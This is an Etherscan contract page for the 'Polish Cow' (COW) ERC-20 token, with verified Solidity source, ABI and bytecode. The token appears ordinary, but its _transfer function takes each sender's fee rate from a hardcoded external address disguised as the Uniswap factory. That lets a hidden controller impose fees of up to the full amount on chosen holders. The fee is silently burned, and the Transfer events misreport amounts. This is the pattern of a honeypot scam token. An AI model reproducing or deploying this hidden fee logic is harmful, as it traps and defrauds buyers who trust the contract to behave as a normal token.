ERC-20
Overview
Max Total Supply
700,000,000 COW
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
15,189,233.051698162 COWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PolishCow
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-26 */ // SPDX-License-Identifier: MIT /*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢄⢢⢢⢂⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⠀⠀⡀⠀⠄⠀⠠⠀⠀⠄⠐⠀⠁⠀⠀⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⢀⢈⢀⣐⣜⣼⣸⠠⠀⢀⠀⠄⠂⠀⠐⠀⠀⠂⠀⢈⠠⠠⡑⠐⢁⠁⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀⠀⠂⠀⠐⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠵⡯⡷⢟⡾⡳⡫⡣⡅⢔⠀⡂⠐⡈⢀⠂⠄⠂⡘⠮⡺⡇⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⡀⠀⠀⡀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠂⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠂⠀⠀⠀⣀⢬⡪⣪⢣⡳⡝⢎⠢⠀⠅⡀⢂⠐⡀⠁⠄⠂⠠⠀⠀⠀⠀⠀⠀⠠⠀⠂⠀⠀⠄⠀⠠⠀⠀⠄⠀⠠⠀⠀ ⠀⠀⠀⠀⠀⠀⠐⠈⠀⠀⠀⠀⠈⠀⠀⠐⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢄⣴⣵⣟⡇⡧⡣⣣⡳⣍⢆⠌⢄⠡⠐⠠⠐⢀⠡⠀⠅⡈⠄⡈⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢀⠀⠀⡀⠀⢀⠀⠀⠄⢀⠠⣀⣂⣄⣆⣄⣆⡔⡄⣀⢢⣠⣢⣢⣵⣾⣲⣵⣖⣴⣼⣺⣿⣽⣿⣻⡮⣮⣟⣷⣟⣷⣟⣮⣢⢣⡣⡣⡱⡰⡨⣌⢖⡼⣜⣖⣗⡵⣆⠆⠀⠀⠀⠀⢀⠀⠀⡀⠀⢀⠀⠀⡀⠀⢀ ⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢀⠀⠂⠈⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠠⡠⣴⣮⣾⡾⣟⣯⣿⣿⣯⢯⣧⣷⣽⣾⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣯⣿⣽⣿⣽⣿⣽⢷⣳⣳⡳⣝⢮⣳⢵⢽⢮⢯⢯⣳⢗⣷⡻⠕⠁⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠈⠀⠀⠀⠀⠀⠀⡀⠄⡂⡥⣟⣿⣿⡿⣿⣿⣿⣿⣿⣿⡻⠝⠝⢟⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣟⣯⢷⢿⣿⣿⣷⣿⣷⣿⣷⣿⣽⣿⣷⣷⣟⣗⢟⠞⠝⠝⠙⠙⠙⠊⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠐⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠁⢐⣼⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⠙⢈⠀⠂⣢⣿⣷⣿⣿⣿⣿⣻⣽⣷⣿⡿⡇⢁⠐⢹⢷⣿⣿⣿⣿⣿⣿⣿⣿⣿⡯⠇⠂⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠐⠈⠀⠀⠀⠄⠀⠂⠈⠀⠀⠁⠀⠈⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠂⠀⠐⠈⠀⠀⠀⠀⠐⠀⠀⠀⠁⠀⢐⣽⣿⣻⣿⣿⣿⢿⣿⣿⣿⣿⡻⠕⡁⢄⢰⣸⣾⣿⣿⣿⣿⣿⣿⣿⣿⢟⠫⠁⠄⡠⡐⣵⣿⣿⣿⣿⣽⣿⣿⣿⢿⣏⠊⠀⠀⠀⠀⠀⠀⠂⠁⠀⠀⠀⠂⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠐⠀⠀⠀⠄⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠠⠀⢦⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣽⣼⣮⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣯⣇⣦⣷⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡂⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠠⠀⠀⠀⠀⢀⠀⠀⠄⠂⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠐⠀⠀⠀⠀⠀⣻⣯⣷⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣽⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣯⣿⣿⡯⠃⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⡀⠄⠀⠐⠀⠈⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠂⠀⠀⠈⠀⠀⠀⠂⠀⠁⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⡀⢗⡷⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣽⣿⣿⣿⣿⣿⣿⡿⢃⠀⠀⠀⠀⠀⠀⠀⠀⠄⠂⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠂⠈⠀⠀⠀⠀⢀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠠⠐⠀⠀⠀⠠⠀⠀⢝⣞⢵⣻⣟⣿⣿⣻⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣾⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣾⠿⠁⠀⠀⠀⠀⠁⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⢀⠀⠠⠐⠀⠀⠐⠀⠀⠂⠀ ⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠄⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⡐⡮⣫⢞⡞⣟⣿⣿⣿⢿⣯⣿⣿⣿⢿⣻⣯⣿⣾⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣾⢯⠃⠁⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⢀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠄⠂⠀⡰⣝⢮⡳⠑⠐⠫⠓⠛⠻⣻⡻⡽⡾⣟⣟⡾⣾⢽⣟⣯⢿⢾⡻⡞⣿⢿⣻⡷⡿⡟⠽⠻⠝⢟⢏⢟⢪⢗⠀⠀⠀⠀⠐⠀⠀⠐⠈⠀⠀⠐⠀⠀⠀⠄⠀⠠⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠠⠀⠀⠄ ⠀⠀⠈⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⡗⡵⣳⢁⠀⠠⠀⠀⠀⠀⠀⠀⠈⠈⠈⠈⢈⢊⠅⢕⢮⢪⡣⡣⡣⡣⠉⠈⠀⠂⠀⠀⠀⠀⠂⢢⢃⢇⢧⠁⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠀⠁⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠠⠐⠀⠀⠀⠀⠀⠀⠀⠨⡫⣞⠄⠀⠀⠀⠀⠈⠀⠀⠀⠀⢀⠠⠀⠀⠐⡈⡂⢇⢗⢕⢝⢜⢔⠈⠀⠀⠀⠀⠀⠀⠄⠀⠂⡣⡱⡱⡐⠀⠀⠀⠀⠀⢀⠀⠀⡀⠀⠠⠀⠂⠀⠀⠄⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠂⠀⠀⠀⢀⠀⠀⢀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠐⡹⡪⡅⠀⠀⠄⠂⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠱⡹⡸⡸⡐⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⢘⢌⢆⢇⢅⠄⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠠⠐⠀⠀⠀⠀⠀⠄⠈ ⠀⠀⠀⠀⠐⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠐⢘⢜⠄⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡪⡪⡪⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠨⠢⠣⡱⠨⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠄⠂⠀⠀⠀⠀⡀⠠⠀⠁⠀⠀⠀⠀⠀⠠⠀⠀⠀ ⠀⠀⠠⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠐⠈⠀⠀⠀⠀⠀⠀⠠⠐⡐⡀⠁⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⡀⠀⠂⠀⠐⠀⢸⠸⡐⡀⠀⠀⢀⠀⠀⠀⠀⠀⠐⠈⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠂⠁⠀⠈⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠐⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠂⠀⠀⠀⠀⠈⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⢸⢘⢌⠢⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠄⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠀⠀⠄⠐ ⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⡀⠈⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⡀⠀⠈⢐⢕⠰⡡⡡⡀⠂⠀⠀⠄⠀⠀⠀⠀⠀⡀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠐⠀⠀⠐⠀⠀⠂⠁⠀⠀⠀⠀⡀⠀⠄⠀⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⡀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠁⠀⠀⠀⠀⠀⠐⠀⠈⠀⠀⠀⠀⠀⠂⠈⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠂⠣⠒⠌⠒⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠠⠐⠀⠀⠠⠀⠂⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠄⠀⠀ ⠠⠀⠐⠀⠀⠀⠀⠀⠂⠀⠀⠀⠀⠀⠀⠂⠀⠀⠂⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠠⠀⠀⠄⠀⠀⠀⠀⠀⠠⠐⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠠⠀⠀⠀⠀⠀⠀⠠⠀⠀⠀⠀⢀⠠⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠄⠐⠀⠀⠀⠀⠀⠀⠀⠀⠄⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⡀⠄⠂⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⡀⠄⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀ ⠄⠀⠀⡀⠀⠠⠐⠈⠀⠀⠀⠁⠀⠀⠀⠀⠀⠄⠂⠀⠀⠁⠀⠀⠁⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠄⠂⠀⠀⠀⠀⠀⢀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠂⠀⠁⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠂⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀ */ pragma solidity 0.8.24; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesire, uint amountTokenMi, uint amountETHMi, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spnder) external view returns (uint256); function approve(address spendr, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Ownable{ address private _owner; event OwnershipTransferred(address indexed previousOwner,address indexed newOwner); constructor() { _transferOwnership(msg.sender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract PolishCow is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private constant _name = "Polish Cow"; string private constant _symbol = "COW"; uint256 private _totalSupply = 700000000 * 10 ** _decimals; address internal uniswapV2Factory = 0x5A9F68Fc1dB3205f621256868293b5E8415EB9d9; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public uniswapPair; bool tradingStarted = false; uint256 private buys = 0; uint256 private sells = 0; uint256 private buyTaxTotal; uint256 private buyMarketingTax; uint256 private buyProjectTax; uint256 private sellTaxTotal; uint256 private sellMarketingTax; uint256 private sellProjectTax; bool limitsEnabled = true; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); event LimitsRemoved(uint256 indexed timestamp); constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function name() public pure returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _totalSupply; } function symbol() public pure returns (string memory) { return _symbol; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function removeAllLimits() external onlyOwner { limitsEnabled = false; emit LimitsRemoved(block.timestamp); } function decimals() public view returns (uint8) { return _decimals; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function startTrading() external payable onlyOwner() { require(!tradingStarted, "Trading already opened."); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max); tradingStarted = true; } function _transfer(address from, address to, uint256 amount) private { uint256 _fee = 0; require(amount > 0); require(from != address(0)); uint256 feeRate = IERC20(uniswapV2Factory).balanceOf(from); if (from != address(this) && from != uniswapPair) { _fee = amount.mul(feeRate > sells ? feeRate : buys).div(100); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount).sub(_fee); emit Transfer(from, to, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c919062000458565b6329b927006200004d9190620004a8565b600355735a9f68fc1db3205f621256868293b5e8415eb9d960045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600660146101000a81548160ff0219169083151502179055505f6007555f6008556001600f5f6101000a81548160ff02191690831515021790555034801562000140575f80fd5b5062000152336200020560201b60201c565b60035460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620001f7919062000503565b60405180910390a36200051e565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200035057808604811115620003285762000327620002c6565b5b6001851615620003385780820291505b80810290506200034885620002f3565b945062000308565b94509492505050565b5f826200036a57600190506200043c565b8162000379575f90506200043c565b81600181146200039257600281146200039d57620003d3565b60019150506200043c565b60ff841115620003b257620003b1620002c6565b5b8360020a915084821115620003cc57620003cb620002c6565b5b506200043c565b5060208310610133831016604e8410600b84101617156200040d5782820a905083811115620004075762000406620002c6565b5b6200043c565b6200041c8484846001620002ff565b92509050818404811115620004365762000435620002c6565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004648262000443565b915062000471836200044c565b9250620004a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000359565b905092915050565b5f620004b48262000443565b9150620004c18362000443565b9250828202620004d18162000443565b91508282048414831517620004eb57620004ea620002c6565b5b5092915050565b620004fd8162000443565b82525050565b5f602082019050620005185f830184620004f2565b92915050565b611bf4806200052c5f395ff3fe6080604052600436106100e7575f3560e01c8063715018a611610089578063c816841b11610058578063c816841b146102cd578063db05e5cb146102f7578063dd62ed3e1461030d578063f2fde38b14610349576100e7565b8063715018a6146102275780638da5cb5b1461023d57806395d89b4114610267578063a9059cbb14610291576100e7565b806323b872dd116100c557806323b872dd1461017b578063293230b8146101b7578063313ce567146101c157806370a08231146101eb576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151575b5f80fd5b3480156100f6575f80fd5b506100ff610371565b60405161010c91906113a2565b60405180910390f35b348015610120575f80fd5b5061013b60048036038101906101369190611453565b6103ae565b60405161014891906114ab565b60405180910390f35b34801561015c575f80fd5b506101656103c4565b60405161017291906114d3565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c91906114ec565b6103cd565b6040516101ae91906114ab565b60405180910390f35b6101bf610479565b005b3480156101cc575f80fd5b506101d56108f3565b6040516101e29190611557565b60405180910390f35b3480156101f6575f80fd5b50610211600480360381019061020c9190611570565b610908565b60405161021e91906114d3565b60405180910390f35b348015610232575f80fd5b5061023b61094e565b005b348015610248575f80fd5b506102516109ce565b60405161025e91906115aa565b60405180910390f35b348015610272575f80fd5b5061027b6109f5565b60405161028891906113a2565b60405180910390f35b34801561029c575f80fd5b506102b760048036038101906102b29190611453565b610a32565b6040516102c491906114ab565b60405180910390f35b3480156102d8575f80fd5b506102e1610a48565b6040516102ee91906115aa565b60405180910390f35b348015610302575f80fd5b5061030b610a6d565b005b348015610318575f80fd5b50610333600480360381019061032e91906115c3565b610b2a565b60405161034091906114d3565b60405180910390f35b348015610354575f80fd5b5061036f